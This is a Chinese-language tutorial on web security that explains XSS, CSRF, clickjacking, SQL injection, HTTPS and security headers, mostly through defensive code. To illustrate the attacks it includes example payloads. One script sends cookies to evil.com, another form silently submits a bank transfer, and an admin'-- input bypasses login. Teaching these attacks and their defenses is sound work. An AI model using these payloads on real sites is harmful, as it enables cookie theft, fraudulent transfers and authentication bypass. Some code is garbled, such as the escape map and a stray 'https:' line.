Web 安全防护完全指南
Created on
前言
“安全问题离我很远”——这是很多前端开发者的误解。然而,一次 XSS 攻击就可能导致用户数据泄露,一次 CSRF 攻击就可能让用户财产受损。本文将系统讲解 Web 安全的核心知识和防护方案。
OWASP Top 10
OWASP (Open Web Application Security Project) 发布的十大 Web 安全风险:
- 注入攻击 (Injection)
- 失效的身份认证 (Broken Authentication)
- 敏感数据暴露 (Sensitive Data Exposure)
- XML 外部实体 (XXE)
- 失效的访问控制 (Broken Access Control)
- 安全配置错误 (Security Misconfiguration)
- 跨站脚本 (XSS)
- 不安全的反序列化 (Insecure Deserialization)
- 使用含有已知漏洞的组件
- 不足的日志记录和监控
XSS (跨站脚本攻击)
什么是 XSS?
XSS (Cross-Site Scripting) 是指攻击者在网页中注入恶意脚本,当其他用户浏览该网页时,恶意脚本会在用户的浏览器中执行。
XSS 的类型
1. 存储型 XSS (Stored XSS)
恶意脚本被存储在服务器数据库中。
// 攻击示例:用户在评论区输入
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
// 当其他用户查看评论时,脚本执行,Cookie 被盗取
2. 反射型 XSS (Reflected XSS)
恶意脚本通过 URL 参数传递。
// 攻击链接
//example.com/search?q=<script>alert('XSS')</script>
// 服务器直接将参数渲染到页面
https: <div>
搜索结果: <script>alert('XSS')</script>
</div>;
3. DOM 型 XSS
通过修改 DOM 结构注入脚本。
// 易受攻击的代码
const keyword = window.location.hash.slice(1);
document.getElementById('result').innerHTML = keyword;
// 攻击 URL
https://example.com/#<img src=x onerror="alert('XSS')">
XSS 防护方案
1. 输入验证和过滤
// 后端验证
function sanitizeInput(input) {
// 移除 HTML 标签
return input.replace(/<[^>]*>/g, "");
}
// 前端使用白名单
const allowedTags = ["b", "i", "em", "strong"];
function sanitizeHTML(html) {
const div = document.createElement("div");
div.innerHTML = html;
// 移除不在白名单中的标签
const elements = div.querySelectorAll("*");
elements.forEach((el) => {
if (!allowedTags.includes(el.tagName.toLowerCase())) {
el.replaceWith(...el.childNodes);
}
});
return div.innerHTML;
}
2. 输出转义
// HTML转义函数
function escapeHTML(str) {
const map = {
"&": "&",
"<": "<",
">": ">",
'"': """,
"'": "'",
"/": "/",
};
return str.replace(/[&<>"'/]/g, (char) => map[char]);
}
// 使用示例
const userInput = '<script>alert("XSS")</script>';
const safe = escapeHTML(userInput);
// 输出: <script>alert("XSS")</script>
3. 使用安全的 API
// ❌ 危险:使用 innerHTML
element.innerHTML = userInput;
// ✅ 安全:使用 textContent
element.textContent = userInput;
// ✅ 安全:使用 createTextNode
const textNode = document.createTextNode(userInput);
element.appendChild(textNode);
// React 自动转义
function Comment({ text }) {
return <div>{text}</div>; // 自动转义
}
// Vue 中使用插值
<template>
<div>{{ userInput }}</div> <!-- 自动转义 -->
</template>
4. CSP (Content Security Policy)
<!-- 通过 HTTP Header 设置 -->
Content-Security-Policy: default-src 'self'; script-src 'self'
https://trusted.com
<!-- 或通过 meta 标签 -->
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'"
/>
// Express 中设置 CSP
app.use((req, res, next) => {
res.setHeader(
"Content-Security-Policy",
"default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'"
);
next();
});
5. HttpOnly Cookie
// 设置 HttpOnly,防止 JavaScript 访问 Cookie
res.cookie("session", sessionId, {
httpOnly: true, // 防止 XSS 窃取
secure: true, // 仅 HTTPS 传输
sameSite: "strict", // 防止 CSRF
});
CSRF (跨站请求伪造)
什么是 CSRF?
CSRF (Cross-Site Request Forgery) 是指攻击者诱导用户访问恶意网站,利用用户的登录状态向目标网站发送恶意请求。
CSRF 攻击示例
<!-- 攻击者的网站 evil.com -->
<img
src="https://bank.com/transfer?to=attacker&amount=1000"
style="display:none"
/>
<!-- 或使用表单自动提交 -->
<form action="https://bank.com/transfer" method="POST" id="hack">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="1000" />
</form>
<script>
document.getElementById("hack").submit();
</script>
当已登录 bank.com 的用户访问 evil.com 时,浏览器会自动带上 bank.com 的 Cookie,完成转账操作。
CSRF 防护方案
1. CSRF Token
// 服务器生成 Token
const csrfToken = crypto.randomBytes(32).toString('hex');
req.session.csrfToken = csrfToken;
// 在表单中包含 Token
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="<%= csrfToken %>">
<input type="text" name="to">
<input type="number" name="amount">
<button type="submit">Transfer</button>
</form>
// 服务器验证 Token
app.post('/transfer', (req, res) => {
if (req.body.csrf_token !== req.session.csrfToken) {
return res.status(403).send('Invalid CSRF token');
}
// 处理转账逻辑
});
2. SameSite Cookie
// 设置 SameSite 属性
res.cookie("session", sessionId, {
sameSite: "strict", // 严格模式:完全禁止第三方请求携带 Cookie
// sameSite: 'lax', // 宽松模式:允许部分第三方请求(GET 导航)
// sameSite: 'none', // 无限制:需要配合 secure=true
});
SameSite 取值说明:
- Strict: 完全禁止第三方请求携带 Cookie
- Lax: 允许导航到目标网址的 GET 请求携带 Cookie
- None: 无限制,但必须同时设置
Secure
3. 双重 Cookie 验证
// 前端从 Cookie 读取 token 并放入请求头
const csrfToken = getCookie("XSRF-TOKEN");
fetch("/api/transfer", {
method: "POST",
headers: {
"X-XSRF-TOKEN": csrfToken,
},
body: JSON.stringify(data),
});
// 后端验证 Cookie 和 Header 中的 token 是否一致
app.post("/api/transfer", (req, res) => {
const cookieToken = req.cookies["XSRF-TOKEN"];
const headerToken = req.headers["x-xsrf-token"];
if (cookieToken !== headerToken) {
return res.status(403).send("CSRF validation failed");
}
// 处理请求
});
4. 验证 Referer/Origin
app.use((req, res, next) => {
const origin = req.headers.origin;
const referer = req.headers.referer;
const allowedOrigins = ["https://example.com"];
if (!allowedOrigins.includes(origin)) {
return res.status(403).send("Invalid origin");
}
next();
});
点击劫持 (Clickjacking)
什么是点击劫持?
攻击者使用透明的 iframe 覆盖在正常页面上,诱导用户点击。
<!-- 攻击者网站 -->
<style>
iframe {
position: absolute;
top: 0;
left: 0;
opacity: 0; /* 完全透明 */
z-index: 9999;
}
</style>
<h1>点击领取红包</h1>
<iframe src="https://bank.com/transfer"></iframe>
防护方案
1. X-Frame-Options
// 禁止被嵌入 iframe
app.use((req, res, next) => {
res.setHeader("X-Frame-Options", "DENY");
// 或允许同源
// res.setHeader('X-Frame-Options', 'SAMEORIGIN');
next();
});
2. CSP frame-ancestors
res.setHeader(
"Content-Security-Policy",
"frame-ancestors 'none'" // 完全禁止
// "frame-ancestors 'self'" // 仅允许同源
);
3. JavaScript 防御
// 检测是否被嵌入
if (window !== window.top) {
// 跳出 iframe
window.top.location = window.location;
}
SQL 注入
什么是 SQL 注入?
攻击者通过在输入中插入 SQL 代码,控制数据库查询。
// ❌ 易受攻击的代码
const username = req.body.username;
const password = req.body.password;
const query = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;
// 攻击输入
// username: admin'--
// password: anything
// 实际执行的 SQL
SELECT * FROM users WHERE username='admin'--' AND password='anything'
// -- 是注释符,后面的密码验证被注释掉了
防护方案
// ✅ 使用参数化查询
const query = "SELECT * FROM users WHERE username=? AND password=?";
db.query(query, [username, password], (err, results) => {
// 处理结果
});
// ✅ 使用 ORM
const user = await User.findOne({
where: {
username: username,
password: password,
},
});
// ✅ 输入验证
function validateUsername(username) {
// 只允许字母数字下划线
return /^[a-zA-Z0-9_]+$/.test(username);
}
HTTPS 和中间人攻击
为什么需要 HTTPS?
HTTP 是明文传输,容易被窃听和篡改。HTTPS 通过 TLS/SSL 加密通信。
配置 HTTPS
// Node.js 中使用 HTTPS
const https = require("https");
const fs = require("fs");
const options = {
key: fs.readFileSync("private-key.pem"),
cert: fs.readFileSync("certificate.pem"),
};
https.createServer(options, app).listen(443);
Strict-Transport-Security (HSTS)
// 强制客户端使用 HTTPS
app.use((req, res, next) => {
res.setHeader(
"Strict-Transport-Security",
"max-age=31536000; includeSubDomains"
);
next();
});
证书钉扎 (Certificate Pinning)
// 在客户端验证证书指纹
const expectedFingerprint = "SHA256:abc123...";
fetch("https://api.example.com/data", {
// 浏览器不直接支持,需要使用原生应用
});
敏感信息保护
1. 不要在前端存储敏感信息
// ❌ 错误做法
localStorage.setItem("password", password);
localStorage.setItem("credit_card", cardNumber);
// ✅ 正确做法
// 敏感信息只在后端处理
// 前端只存储必要的 token
localStorage.setItem("token", accessToken);
2. 敏感数据传输加密
// 使用 HTTPS 传输
// 对敏感字段进行额外加密
async function encryptData(data) {
const encoder = new TextEncoder();
const dataBuffer = encoder.encode(data);
const key = await crypto.subtle.generateKey(
{ name: "AES-GCM", length: 256 },
true,
["encrypt", "decrypt"]
);
const iv = crypto.getRandomValues(new Uint8Array(12));
const encrypted = await crypto.subtle.encrypt(
{ name: "AES-GCM", iv },
key,
dataBuffer
);
return { encrypted, iv };
}
3. 日志脱敏
function sanitizeLog(data) {
const sensitive = ["password", "token", "credit_card"];
const sanitized = { ...data };
sensitive.forEach((field) => {
if (sanitized[field]) {
sanitized[field] = "***";
}
});
return sanitized;
}
console.log(sanitizeLog(userInput));
依赖安全
1. 定期检查漏洞
# npm 审计
npm audit
# 自动修复
npm audit fix
# 查看详细报告
npm audit --json
2. 使用 Snyk
# 安装 Snyk
npm install -g snyk
# 测试项目
snyk test
# 监控项目
snyk monitor
3. Dependabot (GitHub)
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 10
安全 Headers 完整配置
// Express 中间件
const helmet = require("helmet");
app.use(
helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'unsafe-inline'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'"],
fontSrc: ["'self'"],
objectSrc: ["'none'"],
mediaSrc: ["'self'"],
frameSrc: ["'none'"],
},
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true,
},
frameguard: {
action: "deny",
},
noSniff: true,
ieNoOpen: true,
xssFilter: true,
})
);
// 手动设置其他 Headers
app.use((req, res, next) => {
// 禁止缓存敏感页面
res.setHeader(
"Cache-Control",
"no-store, no-cache, must-revalidate, proxy-revalidate"
);
res.setHeader("Pragma", "no-cache");
res.setHeader("Expires", "0");
// 下载文件时防止类型嗅探
res.setHeader("X-Content-Type-Options", "nosniff");
// 控制 Referer 信息
res.setHeader("Referrer-Policy", "strict-origin-when-cross-origin");
// 权限策略
res.setHeader(
"Permissions-Policy",
"geolocation=(), microphone=(), camera=()"
);
next();
});
前端安全检查清单
开发阶段
- 所有用户输入都进行验证和转义
- 使用
textContent而不是innerHTML - 避免使用
eval()和Function() - 敏感操作需要二次确认
- 实现 CSP 策略
- 配置 CSRF 保护
- 设置安全的 Cookie 属性 (HttpOnly, Secure, SameSite)
构建阶段
- 检查依赖包漏洞 (
npm audit) - 移除 console.log 和 debugger
- 代码混淆和压缩
- Source Map 不部署到生产环境
部署阶段
- 启用 HTTPS
- 配置 HSTS
- 设置安全 HTTP Headers
- 限制 API 请求频率
- 实现日志监控和告警
运维阶段
- 定期更新依赖包
- 监控异常请求
- 定期进行安全审计
- 备份重要数据
总结
Web 安全是一个系统工程,需要前后端配合:
- 输入验证:永远不信任用户输入
- 输出转义:在显示用户数据时进行转义
- 最小权限原则:只给必需的权限
- 纵深防御:多层防护措施
- 持续监控:及时发现和响应安全事件
记住:安全是一个持续的过程,而不是一次性的任务。